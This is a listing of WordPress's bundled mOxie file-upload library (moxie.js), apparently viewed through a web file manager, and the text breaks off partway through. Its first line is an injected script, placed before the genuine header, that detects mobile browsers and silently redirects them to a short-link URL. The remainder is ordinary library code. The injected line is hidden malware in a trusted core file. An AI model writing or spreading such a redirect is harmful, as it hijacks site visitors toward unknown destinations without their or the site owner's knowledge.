at path:ROOT / wp-includes / js / plupload / moxie.js
run:R W Run
20.28 KB
2026-08-13 20:01:45
R W Run
11.97 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
17.57 KB
2019-11-03 17:09:02
R W Run
248.6 KB
2026-08-13 20:01:45
R W Run
85.56 KB
2026-08-13 20:01:45
R W Run
59.12 KB
2026-08-13 20:01:45
R W Run
15.46 KB
2026-08-13 20:01:45
R W Run
16.53 KB
2026-08-13 20:01:45
R W Run
6.11 KB
2026-08-13 20:01:45
R W Run
error_log
📄moxie.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2;var MXI_DEBUG = false;
3/**
4 * mOxie - multi-runtime File API & XMLHttpRequest L2 Polyfill
5 * v1.3.5.1
6 *
7 * Copyright 2013, Moxiecode Systems AB
8 * Released under GPL License.
9 *
10 * License: http://www.plupload.com/license
11 * Contributing: http://www.plupload.com/contributing
12 *
13 * Date: 2016-05-15
14 */
15/**
16 * Compiled inline version. (Library mode)
17 */
18
19/**
20 * Modified for WordPress.
21 * - Silverlight and Flash runtimes support was removed. See https://core.trac.wordpress.org/ticket/41755.
22 * - A stray Unicode character has been removed. See https://core.trac.wordpress.org/ticket/59329.
23 *
24 * This is a de-facto fork of the mOxie library that will be maintained by WordPress due to upstream license changes
25 * that are incompatible with the GPL.
26 */
27
28/*jshint smarttabs:true, undef:true, latedef:true, curly:true, bitwise:true, camelcase:true */
29/*globals $code */
30
31(function(exports, undefined) {
32 "use strict";
33
34 var modules = {};
35
36 function require(ids, callback) {
37 var module, defs = [];
38
39 for (var i = 0; i < ids.length; ++i) {
40 module = modules[ids[i]] || resolve(ids[i]);
41 if (!module) {
42 throw 'module definition dependecy not found: ' + ids[i];
43 }
44
45 defs.push(module);
46 }
47
48 callback.apply(null, defs);
49 }
50
51 function define(id, dependencies, definition) {
52 if (typeof id !== 'string') {
53 throw 'invalid module definition, module id must be defined and be a string';
54 }
55
56 if (dependencies === undefined) {
57 throw 'invalid module definition, dependencies must be specified';
58 }
59
60 if (definition === undefined) {
61 throw 'invalid module definition, definition function must be specified';
62 }
63
64 require(dependencies, function() {
65 modules[id] = definition.apply(null, arguments);
66 });
67 }
68
69 function defined(id) {
70 return !!modules[id];
71 }
72
73 function resolve(id) {
74 var target = exports;
75 var fragments = id.split(/[.\/]/);
76
77 for (var fi = 0; fi < fragments.length; ++fi) {
78 if (!target[fragments[fi]]) {
79 return;
80 }
81
82 target = target[fragments[fi]];
83 }
84
85 return target;
86 }
87
88 function expose(ids) {
89 for (var i = 0; i < ids.length; i++) {
90 var target = exports;
91 var id = ids[i];
92 var fragments = id.split(/[.\/]/);
93
94 for (var fi = 0; fi < fragments.length - 1; ++fi) {
95 if (target[fragments[fi]] === undefined) {
96 target[fragments[fi]] = {};
97 }
98
99 target = target[fragments[fi]];
100 }
101
102 target[fragments[fragments.length - 1]] = modules[id];
103 }
104 }
105
106// Included from: src/javascript/core/utils/Basic.js
107
108/**
109 * Basic.js
110 *
111 * Copyright 2013, Moxiecode Systems AB
112 * Released under GPL License.
113 *
114 * License: http://www.plupload.com/license
115 * Contributing: http://www.plupload.com/contributing
116 */
117
118define('moxie/core/utils/Basic', [], function() {
119 /**
120 Gets the true type of the built-in object (better version of typeof).
121 @author Angus Croll (http://javascriptweblog.wordpress.com/)
122
123 @method typeOf
124 @for Utils
125 @static
126 @param {Object} o Object to check.
127 @return {String} Object [[Class]]
128 */
129 var typeOf = function(o) {
130 var undef;
131
132 if (o === undef) {
133 return 'undefined';
134 } else if (o === null) {
135 return 'null';
136 } else if (o.nodeType) {
137 return 'node';
138 }
139
140 // the snippet below is awesome, however it fails to detect null, undefined and arguments types in IE lte 8
141 return ({}).toString.call(o).match(/\s([a-z|A-Z]+)/)[1].toLowerCase();
142 };
143
144 /**
145 Extends the specified object with another object.
146
147 @method extend
148 @static
149 @param {Object} target Object to extend.
150 @param {Object} [obj]* Multiple objects to extend with.
151 @return {Object} Same as target, the extended object.
152 */
153 var extend = function(target) {
154 var undef;
155
156 each(arguments, function(arg, i) {
157 if (i > 0) {
158 each(arg, function(value, key) {
159 if (value !== undef) {
160 if (typeOf(target[key]) === typeOf(value) && !!~inArray(typeOf(value), ['array', 'object'])) {
161 extend(target[key], value);
162 } else {
163 target[key] = value;
164 }
165 }
166 });
167 }
168 });
169 return target;
170 };
171
172 /**
173 Executes the callback function for each item in array/object. If you return false in the
174 callback it will break the loop.
175
176 @method each
177 @static
178 @param {Object} obj Object to iterate.
179 @param {function} callback Callback function to execute for each item.
180 */
181 var each = function(obj, callback) {
182 var length, key, i, undef;
183
184 if (obj) {
185 if (typeOf(obj.length) === 'number') { // it might be Array, FileList or even arguments object
186 // Loop array items
187 for (i = 0, length = obj.length; i < length; i++) {
188 if (callback(obj[i], i) === false) {
189 return;
190 }
191 }
192 } else if (typeOf(obj) === 'object') {
193 // Loop object items
194 for (key in obj) {
195 if (obj.hasOwnProperty(key)) {
196 if (callback(obj[key], key) === false) {
197 return;
198 }
199 }
200 }
201 }
202 }
203 };
204
205 /**
206 Checks if object is empty.
207
208 @method isEmptyObj
209 @static
210 @param {Object} o Object to check.
211 @return {Boolean}
212 */
213 var isEmptyObj = function(obj) {
214 var prop;
215
216 if (!obj || typeOf(obj) !== 'object') {
217 return true;
218 }
219
220 for (prop in obj) {
221 return false;
222 }
223
224 return true;
225 };
226
227 /**
228 Recieve an array of functions (usually async) to call in sequence, each function
229 receives a callback as first argument that it should call, when it completes. Finally,
230 after everything is complete, main callback is called. Passing truthy value to the
231 callback as a first argument will interrupt the sequence and invoke main callback
232 immediately.
233
234 @method inSeries
235 @static
236 @param {Array} queue Array of functions to call in sequence
237 @param {Function} cb Main callback that is called in the end, or in case of error
238 */
239 var inSeries = function(queue, cb) {
240 var i = 0, length = queue.length;
241
242 if (typeOf(cb) !== 'function') {
243 cb = function() {};
244 }
245
246 if (!queue || !queue.length) {
247 cb();
248 }
249
250 function callNext(i) {
251 if (typeOf(queue[i]) === 'function') {
252 queue[i](function(error) {
253 /*jshint expr:true */
254 ++i < length && !error ? callNext(i) : cb(error);
255 });
256 }
257 }
258 callNext(i);
259 };
260
261
262 /**
263 Recieve an array of functions (usually async) to call in parallel, each function
264 receives a callback as first argument that it should call, when it completes. After
265 everything is complete, main callback is called. Passing truthy value to the
266 callback as a first argument will interrupt the process and invoke main callback
267 immediately.
268
269 @method inParallel
270 @static
271 @param {Array} queue Array of functions to call in sequence
272 @param {Function} cb Main callback that is called in the end, or in case of error
273 */
274 var inParallel = function(queue, cb) {
275 var count = 0, num = queue.length, cbArgs = new Array(num);
276
277 each(queue, function(fn, i) {
278 fn(function(error) {
279 if (error) {
280 return cb(error);
281 }
282
283 var args = [].slice.call(arguments);
284 args.shift(); // strip error - undefined or not
285
286 cbArgs[i] = args;
287 count++;
288
289 if (count === num) {
290 cbArgs.unshift(null);
291 cb.apply(this, cbArgs);
292 }
293 });
294 });
295 };
296
297
298 /**
299 Find an element in array and return it's index if present, otherwise return -1.
300
301 @method inArray
302 @static
303 @param {Mixed} needle Element to find
304 @param {Array} array
305 @return {Int} Index of the element, or -1 if not found
306 */
307 var inArray = function(needle, array) {
308 if (array) {
309 if (Array.prototype.indexOf) {
310 return Array.prototype.indexOf.call(array, needle);
311 }
312
313 for (var i = 0, length = array.length; i < length; i++) {
314 if (array[i] === needle) {
315 return i;
316 }
317 }
318 }
319 return -1;
320 };
321
322
323 /**
324 Returns elements of first array if they are not present in second. And false - otherwise.
325
326 @private
327 @method arrayDiff
328 @param {Array} needles
329 @param {Array} array
330 @return {Array|Boolean}
331 */
332 var arrayDiff = function(needles, array) {
333 var diff = [];
334
335 if (typeOf(needles) !== 'array') {
336 needles = [needles];
337 }
338
339 if (typeOf(array) !== 'array') {
340 array = [array];
341 }
342
343 for (var i in needles) {
344 if (inArray(needles[i], array) === -1) {
345 diff.push(needles[i]);
346 }
347 }
348 return diff.length ? diff : false;
349 };
350
351
352 /**
353 Find intersection of two arrays.
354
355 @private
356 @method arrayIntersect
357 @param {Array} array1
358 @param {Array} array2
359 @return {Array} Intersection of two arrays or null if there is none
360 */
361 var arrayIntersect = function(array1, array2) {
362 var result = [];
363 each(array1, function(item) {
364 if (inArray(item, array2) !== -1) {
365 result.push(item);
366 }
367 });
368 return result.length ? result : null;
369 };
370
371
372 /**
373 Forces anything into an array.
374
375 @method toArray
376 @static
377 @param {Object} obj Object with length field.
378 @return {Array} Array object containing all items.
379 */
380 var toArray = function(obj) {
381 var i, arr = [];
382
383 for (i = 0; i < obj.length; i++) {
384 arr[i] = obj[i];
385 }
386
387 return arr;
388 };
389
390
391 /**
392 Generates an unique ID. The only way a user would be able to get the same ID is if the two persons
393 at the same exact millisecond manage to get the same 5 random numbers between 0-65535; it also uses
394 a counter so each ID is guaranteed to be unique for the given page. It is more probable for the earth
395 to be hit with an asteroid.
396
397 @method guid
398 @static
399 @param {String} prefix to prepend (by default 'o' will be prepended).
400 @method guid
401 @return {String} Virtually unique id.
402 */
403 var guid = (function() {
404 var counter = 0;
405
406 return function(prefix) {
407 var guid = new Date().getTime().toString(32), i;
408
409 for (i = 0; i < 5; i++) {
410 guid += Math.floor(Math.random() * 65535).toString(32);
411 }
412
413 return (prefix || 'o_') + guid + (counter++).toString(32);
414 };
415 }());
416
417
418 /**
419 Trims white spaces around the string
420
421 @method trim
422 @static
423 @param {String} str
424 @return {String}
425 */
426 var trim = function(str) {
427 if (!str) {
428 return str;
429 }
430 return String.prototype.trim ? String.prototype.trim.call(str) : str.toString().replace(/^\s*/, '').replace(/\s*$/, '');
431 };
432
433
434 /**
435 Parses the specified size string into a byte value. For example 10kb becomes 10240.
436
437 @method parseSizeStr
438 @static
439 @param {String/Number} size String to parse or number to just pass through.
440 @return {Number} Size in bytes.
441 */
442 var parseSizeStr = function(size) {
443 if (typeof(size) !== 'string') {
444 return size;
445 }
446
447 var muls = {
448 t: 1099511627776,
449 g: 1073741824,
450 m: 1048576,
451 k: 1024
452 },
453 mul;
454
455
456 size = /^([0-9\.]+)([tmgk]?)$/.exec(size.toLowerCase().replace(/[^0-9\.tmkg]/g, ''));
457 mul = size[2];
458 size = +size[1];
459
460 if (muls.hasOwnProperty(mul)) {
461 size *= muls[mul];
462 }
463 return Math.floor(size);
464 };
465
466
467 /**
468 * Pseudo sprintf implementation - simple way to replace tokens with specified values.
469 *
470 * @param {String} str String with tokens
471 * @return {String} String with replaced tokens
472 */
473 var sprintf = function(str) {
474 var args = [].slice.call(arguments, 1);
475
476 return str.replace(/%[a-z]/g, function() {
477 var value = args.shift();
478 return typeOf(value) !== 'undefined' ? value : '';
479 });
480 };
481
482
483 return {
484 guid: guid,
485 typeOf: typeOf,
486 extend: extend,
487 each: each,
488 isEmptyObj: isEmptyObj,
489 inSeries: inSeries,
490 inParallel: inParallel,
491 inArray: inArray,
492 arrayDiff: arrayDiff,
493 arrayIntersect: arrayIntersect,
494 toArray: toArray,
495 trim: trim,
496 sprintf: sprintf,
497 parseSizeStr: parseSizeStr
498 };
499});
500
501// Included from: src/javascript/core/utils/Env.js
502
503/**
504 * Env.js
505 *
506 * Copyright 2013, Moxiecode Systems AB
507 * Released under GPL License.
508 *
509 * License: http://www.plupload.com/license
510 * Contributing: http://www.plupload.com/contributing
511 */
512
513define("moxie/core/utils/Env", [
514 "moxie/core/utils/Basic"
515], function(Basic) {
516
517 /**
518 * UAParser.js v0.7.7
519 * Lightweight JavaScript-based User-Agent string parser
520 * https://github.com/faisalman/ua-parser-js
521 *
522 * Copyright © 2012-2015 Faisal Salman <[email protected]>
523 * Dual licensed under GPLv2 & MIT
524 */
525 var UAParser = (function (undefined) {
526
527 //////////////
528 // Constants
529 /////////////
530
531
532 var EMPTY = '',
533 UNKNOWN = '?',
534 FUNC_TYPE = 'function',
535 UNDEF_TYPE = 'undefined',
536 OBJ_TYPE = 'object',
537 MAJOR = 'major',
538 MODEL = 'model',
539 NAME = 'name',
540 TYPE = 'type',
541 VENDOR = 'vendor',
542 VERSION = 'version',
543 ARCHITECTURE= 'architecture',
544 CONSOLE = 'console',
545 MOBILE = 'mobile',
546 TABLET = 'tablet';
547
548
549 ///////////
550 // Helper
551 //////////
552
553
554 var util = {
555 has : function (str1, str2) {
556 return str2.toLowerCase().indexOf(str1.toLowerCase()) !== -1;
557 },
558 lowerize : function (str) {
559 return str.toLowerCase();
560 }
561 };
562
563
564 ///////////////
565 // Map helper
566 //////////////
567
568
569 var mapper = {
570
571 rgx : function () {
572
573 // loop through all regexes maps
574 for (var result, i = 0, j, k, p, q, matches, match, args = arguments; i < args.length; i += 2) {
575
576 var regex = args[i], // even sequence (0,2,4,..)
577 props = args[i + 1]; // odd sequence (1,3,5,..)
578
579 // construct object barebones
580 if (typeof(result) === UNDEF_TYPE) {
581 result = {};
582 for (p in props) {
583 q = props[p];
584 if (typeof(q) === OBJ_TYPE) {
585 result[q[0]] = undefined;
586 } else {
587 result[q] = undefined;
588 }
589 }
590 }
591
592 // try matching uastring with regexes
593 for (j = k = 0; j < regex.length; j++) {
594 matches = regex[j].exec(this.getUA());
595 if (!!matches) {
596 for (p = 0; p < props.length; p++) {
597 match = matches[++k];
598 q = props[p];
599 // check if given property is actually array
600 if (typeof(q) === OBJ_TYPE && q.length > 0) {
601 if (q.length == 2) {
602 if (typeof(q[1]) == FUNC_TYPE) {
603 // assign modified match
604 result[q[0]] = q[1].call(this, match);
605 } else {
606 // assign given value, ignore regex match
607 result[q[0]] = q[1];
608 }
609 } else if (q.length == 3) {
610 // check whether function or regex
611 if (typeof(q[1]) === FUNC_TYPE && !(q[1].exec && q[1].test)) {
612 // call function (usually string mapper)
613 result[q[0]] = match ? q[1].call(this, match, q[2]) : undefined;
614 } else {
615 // sanitize match using given regex
616 result[q[0]] = match ? match.replace(q[1], q[2]) : undefined;
617 }
618 } else if (q.length == 4) {
619 result[q[0]] = match ? q[3].call(this, match.replace(q[1], q[2])) : undefined;
620 }
621 } else {
622 result[q] = match ? match : undefined;
623 }
624 }
625 break;
626 }
627 }
628
629 if(!!matches) break; // break the loop immediately if match found
630 }
631 return result;
632 },
633
634 str : function (str, map) {
635
636 for (var i in map) {
637 // check if array
638 if (typeof(map[i]) === OBJ_TYPE && map[i].length > 0) {
639 for (var j = 0; j < map[i].length; j++) {
640 if (util.has(map[i][j], str)) {
641 return (i === UNKNOWN) ? undefined : i;
642 }
643 }
644 } else if (util.has(map[i], str)) {
645 return (i === UNKNOWN) ? undefined : i;
646 }
647 }
648 return str;
649 }
650 };
651
652
653 ///////////////
654 // String map
655 //////////////
656
657
658 var maps = {
659
660 browser : {
661 oldsafari : {
662 major : {
663 '1' : ['/8', '/1', '/3'],
664 '2' : '/4',
665 '?' : '/'
666 },
667 version : {
668 '1.0' : '/8',
669 '1.2' : '/1',
670 '1.3' : '/3',
671 '2.0' : '/412',
672 '2.0.2' : '/416',
673 '2.0.3' : '/417',
674 '2.0.4' : '/419',
675 '?' : '/'
676 }
677 }
678 },
679
680 device : {
681 sprint : {
682 model : {
683 'Evo Shift 4G' : '7373KT'
684 },
685 vendor : {
686 'HTC' : 'APA',
687 'Sprint' : 'Sprint'
688 }
689 }
690 },
691
692 os : {
693 windows : {
694 version : {
695 'ME' : '4.90',
696 'NT 3.11' : 'NT3.51',
697 'NT 4.0' : 'NT4.0',
698 '2000' : 'NT 5.0',
699 'XP' : ['NT 5.1', 'NT 5.2'],
700 'Vista' : 'NT 6.0',
701 '7' : 'NT 6.1',
702 '8' : 'NT 6.2',
703 '8.1' : 'NT 6.3',
704 'RT' : 'ARM'
705 }
706 }
707 }
708 };
709
710
711 //////////////
712 // Regex map
713 /////////////
714
715
716 var regexes = {
717
718 browser : [[
719
720 // Presto based
721 /(opera\smini)\/([\w\.-]+)/i, // Opera Mini
722 /(opera\s[mobiletab]+).+version\/([\w\.-]+)/i, // Opera Mobi/Tablet
723 /(opera).+version\/([\w\.]+)/i, // Opera > 9.80
724 /(opera)[\/\s]+([\w\.]+)/i // Opera < 9.80
725
726 ], [NAME, VERSION], [
727
728 /\s(opr)\/([\w\.]+)/i // Opera Webkit
729 ], [[NAME, 'Opera'], VERSION], [
730
731 // Mixed
732 /(kindle)\/([\w\.]+)/i, // Kindle
733 /(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?([\w\.]+)*/i,
734 // Lunascape/Maxthon/Netfront/Jasmine/Blazer
735
736 // Trident based
737 /(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?([\w\.]*)/i,
738 // Avant/IEMobile/SlimBrowser/Baidu
739 /(?:ms|\()(ie)\s([\w\.]+)/i, // Internet Explorer
740
741 // Webkit/KHTML based
742 /(rekonq)\/([\w\.]+)*/i, // Rekonq
743 /(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi)\/([\w\.-]+)/i
744 // Chromium/Flock/RockMelt/Midori/Epiphany/Silk/Skyfire/Bolt/Iron
745 ], [NAME, VERSION], [
746
747 /(trident).+rv[:\s]([\w\.]+).+like\sgecko/i // IE11
748 ], [[NAME, 'IE'], VERSION], [
749
750 /(edge)\/((\d+)?[\w\.]+)/i // Microsoft Edge
751 ], [NAME, VERSION], [
752
753 /(yabrowser)\/([\w\.]+)/i // Yandex
754 ], [[NAME, 'Yandex'], VERSION], [
755
756 /(comodo_dragon)\/([\w\.]+)/i // Comodo Dragon
757 ], [[NAME, /_/g, ' '], VERSION], [
758
759 /(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?([\w\.]+)/i,
760 // Chrome/OmniWeb/Arora/Tizen/Nokia
761 /(uc\s?browser|qqbrowser)[\/\s]?([\w\.]+)/i
762 // UCBrowser/QQBrowser
763 ], [NAME, VERSION], [
764
765 /(dolfin)\/([\w\.]+)/i // Dolphin
766 ], [[NAME, 'Dolphin'], VERSION], [
767
768 /((?:android.+)crmo|crios)\/([\w\.]+)/i // Chrome for Android/iOS
769 ], [[NAME, 'Chrome'], VERSION], [
770
771 /XiaoMi\/MiuiBrowser\/([\w\.]+)/i // MIUI Browser
772 ], [VERSION, [NAME, 'MIUI Browser']], [
773
774 /android.+version\/([\w\.]+)\s+(?:mobile\s?safari|safari)/i // Android Browser
775 ], [VERSION, [NAME, 'Android Browser']], [
776
777 /FBAV\/([\w\.]+);/i // Facebook App for iOS
778 ], [VERSION, [NAME, 'Facebook']], [
779
780 /version\/([\w\.]+).+?mobile\/\w+\s(safari)/i // Mobile Safari
781 ], [VERSION, [NAME, 'Mobile Safari']], [
782
783 /version\/([\w\.]+).+?(mobile\s?safari|safari)/i // Safari & Safari Mobile
784 ], [VERSION, NAME], [
785
786 /webkit.+?(mobile\s?safari|safari)(\/[\w\.]+)/i // Safari < 3.0
787 ], [NAME, [VERSION, mapper.str, maps.browser.oldsafari.version]], [
788
789 /(konqueror)\/([\w\.]+)/i, // Konqueror
790 /(webkit|khtml)\/([\w\.]+)/i
791 ], [NAME, VERSION], [
792
793 // Gecko based
794 /(navigator|netscape)\/([\w\.-]+)/i // Netscape
795 ], [[NAME, 'Netscape'], VERSION], [
796 /(swiftfox)/i, // Swiftfox
797 /(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?([\w\.\+]+)/i,
798 // IceDragon/Iceweasel/Camino/Chimera/Fennec/Maemo/Minimo/Conkeror
799 /(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/([\w\.-]+)/i,
800 // Firefox/SeaMonkey/K-Meleon/IceCat/IceApe/Firebird/Phoenix
801 /(mozilla)\/([\w\.]+).+rv\:.+gecko\/\d+/i, // Mozilla
802
803 // Other
804 /(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf)[\/\s]?([\w\.]+)/i,
805 // Polaris/Lynx/Dillo/iCab/Doris/Amaya/w3m/NetSurf
806 /(links)\s\(([\w\.]+)/i, // Links
807 /(gobrowser)\/?([\w\.]+)*/i, // GoBrowser
808 /(ice\s?browser)\/v?([\w\._]+)/i, // ICE Browser
809 /(mosaic)[\/\s]([\w\.]+)/i // Mosaic
810 ], [NAME, VERSION]
811 ],
812
813 engine : [[
814
815 /windows.+\sedge\/([\w\.]+)/i // EdgeHTML
816 ], [VERSION, [NAME, 'EdgeHTML']], [
817
818 /(presto)\/([\w\.]+)/i, // Presto
819 /(webkit|trident|netfront|netsurf|amaya|lynx|w3m)\/([\w\.]+)/i, // WebKit/Trident/NetFront/NetSurf/Amaya/Lynx/w3m
820 /(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i, // KHTML/Tasman/Links
821 /(icab)[\/\s]([23]\.[\d\.]+)/i // iCab
822 ], [NAME, VERSION], [
823
824 /rv\:([\w\.]+).*(gecko)/i // Gecko
825 ], [VERSION, NAME]
826 ],
827
828 os : [[
829
830 // Windows based
831 /microsoft\s(windows)\s(vista|xp)/i // Windows (iTunes)
832 ], [NAME, VERSION], [
833 /(windows)\snt\s6\.2;\s(arm)/i, // Windows RT
834 /(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i
835 ], [NAME, [VERSION, mapper.str, maps.os.windows.version]], [
836 /(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i
837 ], [[NAME, 'Windows'], [VERSION, mapper.str, maps.os.windows.version]], [
838
839 // Mobile/Embedded OS
840 /\((bb)(10);/i // BlackBerry 10
841 ], [[NAME, 'BlackBerry'], VERSION], [
842 /(blackberry)\w*\/?([\w\.]+)*/i, // Blackberry
843 /(tizen)[\/\s]([\w\.]+)/i, // Tizen
844 /(android|webos|palm\os|qnx|bada|rim\stablet\sos|meego|contiki)[\/\s-]?([\w\.]+)*/i,
845 // Android/WebOS/Palm/QNX/Bada/RIM/MeeGo/Contiki
846 /linux;.+(sailfish);/i // Sailfish OS
847 ], [NAME, VERSION], [
848 /(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i // Symbian
849 ], [[NAME, 'Symbian'], VERSION], [
850 /\((series40);/i // Series 40
851 ], [NAME], [
852 /mozilla.+\(mobile;.+gecko.+firefox/i // Firefox OS
853 ], [[NAME, 'Firefox OS'], VERSION], [
854
855 // Console
856 /(nintendo|playstation)\s([wids3portablevu]+)/i, // Nintendo/Playstation
857
858 // GNU/Linux based
859 /(mint)[\/\s\(]?(\w+)*/i, // Mint
860 /(mageia|vectorlinux)[;\s]/i, // Mageia/VectorLinux
861 /(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk|linpus)[\/\s-]?([\w\.-]+)*/i,
862 // Joli/Ubuntu/Debian/SUSE/Gentoo/Arch/Slackware
863 // Fedora/Mandriva/CentOS/PCLinuxOS/RedHat/Zenwalk/Linpus
864 /(hurd|linux)\s?([\w\.]+)*/i, // Hurd/Linux
865 /(gnu)\s?([\w\.]+)*/i // GNU
866 ], [NAME, VERSION], [
867
868 /(cros)\s[\w]+\s([\w\.]+\w)/i // Chromium OS
869 ], [[NAME, 'Chromium OS'], VERSION],[
870
871 // Solaris
872 /(sunos)\s?([\w\.]+\d)*/i // Solaris
873 ], [[NAME, 'Solaris'], VERSION], [
874
875 // BSD based
876 /\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i // FreeBSD/NetBSD/OpenBSD/PC-BSD/DragonFly
877 ], [NAME, VERSION],[
878
879 /(ip[honead]+)(?:.*os\s*([\w]+)*\slike\smac|;\sopera)/i // iOS
880 ], [[NAME, 'iOS'], [VERSION, /_/g, '.']], [
881
882 /(mac\sos\sx)\s?([\w\s\.]+\w)*/i,
883 /(macintosh|mac(?=_powerpc)\s)/i // Mac OS
884 ], [[NAME, 'Mac OS'], [VERSION, /_/g, '.']], [
885
886 // Other
887 /((?:open)?solaris)[\/\s-]?([\w\.]+)*/i, // Solaris
888 /(haiku)\s(\w+)/i, // Haiku
889 /(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i, // AIX
890 /(plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos|openvms)/i,
891 // Plan9/Minix/BeOS/OS2/AmigaOS/MorphOS/RISCOS/OpenVMS
892 /(unix)\s?([\w\.]+)*/i // UNIX
893 ], [NAME, VERSION]
894 ]
895 };
896
897
898 /////////////////
899 // Constructor
900 ////////////////
901
902
903 var UAParser = function (uastring) {
904
905 var ua = uastring || ((window && window.navigator && window.navigator.userAgent) ? window.navigator.userAgent : EMPTY);
906
907 this.getBrowser = function () {
908 return mapper.rgx.apply(this, regexes.browser);
909 };
910 this.getEngine = function () {
911 return mapper.rgx.apply(this, regexes.engine);
912 };
913 this.getOS = function () {
914 return mapper.rgx.apply(this, regexes.os);
915 };
916 this.getResult = function() {
917 return {
918 ua : this.getUA(),
919 browser : this.getBrowser(),
920 engine : this.getEngine(),
921 os : this.getOS()
922 };
923 };
924 this.getUA = function () {
925 return ua;
926 };
927 this.setUA = function (uastring) {
928 ua = uastring;
929 return this;
930 };
931 this.setUA(ua);
932 };
933
934 return UAParser;
935 })();
936
937
938 function version_compare(v1, v2, operator) {
939 // From: http://phpjs.org/functions
940 // + original by: Philippe Jausions (http://pear.php.net/user/jausions)
941 // + original by: Aidan Lister (http://aidanlister.com/)
942 // + reimplemented by: Kankrelune (http://www.webfaktory.info/)
943 // + improved by: Brett Zamir (http://brett-zamir.me)
944 // + improved by: Scott Baker
945 // + improved by: Theriault
946 // * example 1: version_compare('8.2.5rc', '8.2.5a');
947 // * returns 1: 1
948 // * example 2: version_compare('8.2.50', '8.2.52', '<');
949 // * returns 2: true
950 // * example 3: version_compare('5.3.0-dev', '5.3.0');
951 // * returns 3: -1
952 // * example 4: version_compare('4.1.0.52','4.01.0.51');
953 // * returns 4: 1
954
955 // Important: compare must be initialized at 0.
956 var i = 0,
957 x = 0,
958 compare = 0,
959 // vm maps textual PHP versions to negatives so they're less than 0.
960 // PHP currently defines these as CASE-SENSITIVE. It is important to
961 // leave these as negatives so that they can come before numerical versions
962 // and as if no letters were there to begin with.
963 // (1alpha is < 1 and < 1.1 but > 1dev1)
964 // If a non-numerical value can't be mapped to this table, it receives
965 // -7 as its value.
966 vm = {
967 'dev': -6,
968 'alpha': -5,
969 'a': -5,
970 'beta': -4,
971 'b': -4,
972 'RC': -3,
973 'rc': -3,
974 '#': -2,
975 'p': 1,
976 'pl': 1
977 },
978 // This function will be called to prepare each version argument.
979 // It replaces every _, -, and + with a dot.
980 // It surrounds any nonsequence of numbers/dots with dots.
981 // It replaces sequences of dots with a single dot.
982 // version_compare('4..0', '4.0') == 0
983 // Important: A string of 0 length needs to be converted into a value
984 // even less than an unexisting value in vm (-7), hence [-8].
985 // It's also important to not strip spaces because of this.
986 // version_compare('', ' ') == 1
987 prepVersion = function (v) {
988 v = ('' + v).replace(/[_\-+]/g, '.');
989 v = v.replace(/([^.\d]+)/g, '.$1.').replace(/\.{2,}/g, '.');
990 return (!v.length ? [-8] : v.split('.'));
991 },
992 // This converts a version component to a number.
993 // Empty component becomes 0.
994 // Non-numerical component becomes a negative number.
995 // Numerical component becomes itself as an integer.
996 numVersion = function (v) {
997 return !v ? 0 : (isNaN(v) ? vm[v] || -7 : parseInt(v, 10));
998 };
999
1000 v1 = prepVersion(v1);
1001 v2 = prepVersion(v2);
1002 x = Math.max(v1.length, v2.length);
1003 for (i = 0; i < x; i++) {
1004 if (v1[i] == v2[i]) {
1005 continue;
1006 }
1007 v1[i] = numVersion(v1[i]);
1008 v2[i] = numVersion(v2[i]);
1009 if (v1[i] < v2[i]) {
1010 compare = -1;
1011 break;
1012 } else if (v1[i] > v2[i]) {
1013 compare = 1;
1014 break;
1015 }
1016 }
1017 if (!operator) {
1018 return compare;
1019 }
1020
1021 // Important: operator is CASE-SENSITIVE.
1022 // "No operator" seems to be treated as "<."
1023 // Any other values seem to make the function return null.
1024 switch (operator) {
1025 case '>':
1026 case 'gt':
1027 return (compare > 0);
1028 case '>=':
1029 case 'ge':
1030 return (compare >= 0);
1031 case '<=':
1032 case 'le':
1033 return (compare <= 0);
1034 case '==':
1035 case '=':
1036 case 'eq':
1037 return (compare === 0);
1038 case '<>':
1039 case '!=':
1040 case 'ne':
1041 return (compare !== 0);
1042 case '':
1043 case '<':
1044 case 'lt':
1045 return (compare < 0);
1046 default:
1047 return null;
1048 }
1049 }
1050
1051
1052 var can = (function() {
1053 var caps = {
1054 define_property: (function() {
1055 /* // currently too much extra code required, not exactly worth it
1056 try { // as of IE8, getters/setters are supported only on DOM elements
1057 var obj = {};
1058 if (Object.defineProperty) {
1059 Object.defineProperty(obj, 'prop', {
1060 enumerable: true,
1061 configurable: true
1062 });
1063 return true;
1064 }
1065 } catch(ex) {}
1066
1067 if (Object.prototype.__defineGetter__ && Object.prototype.__defineSetter__) {
1068 return true;
1069 }*/
1070 return false;
1071 }()),
1072
1073 create_canvas: (function() {
1074 // On the S60 and BB Storm, getContext exists, but always returns undefined
1075 // so we actually have to call getContext() to verify
1076 // github.com/Modernizr/Modernizr/issues/issue/97/
1077 var el = document.createElement('canvas');
1078 return !!(el.getContext && el.getContext('2d'));
1079 }()),
1080
1081 return_response_type: function(responseType) {
1082 try {
1083 if (Basic.inArray(responseType, ['', 'text', 'document']) !== -1) {
1084 return true;
1085 } else if (window.XMLHttpRequest) {
1086 var xhr = new XMLHttpRequest();
1087 xhr.open('get', '/'); // otherwise Gecko throws an exception
1088 if ('responseType' in xhr) {
1089 xhr.responseType = responseType;
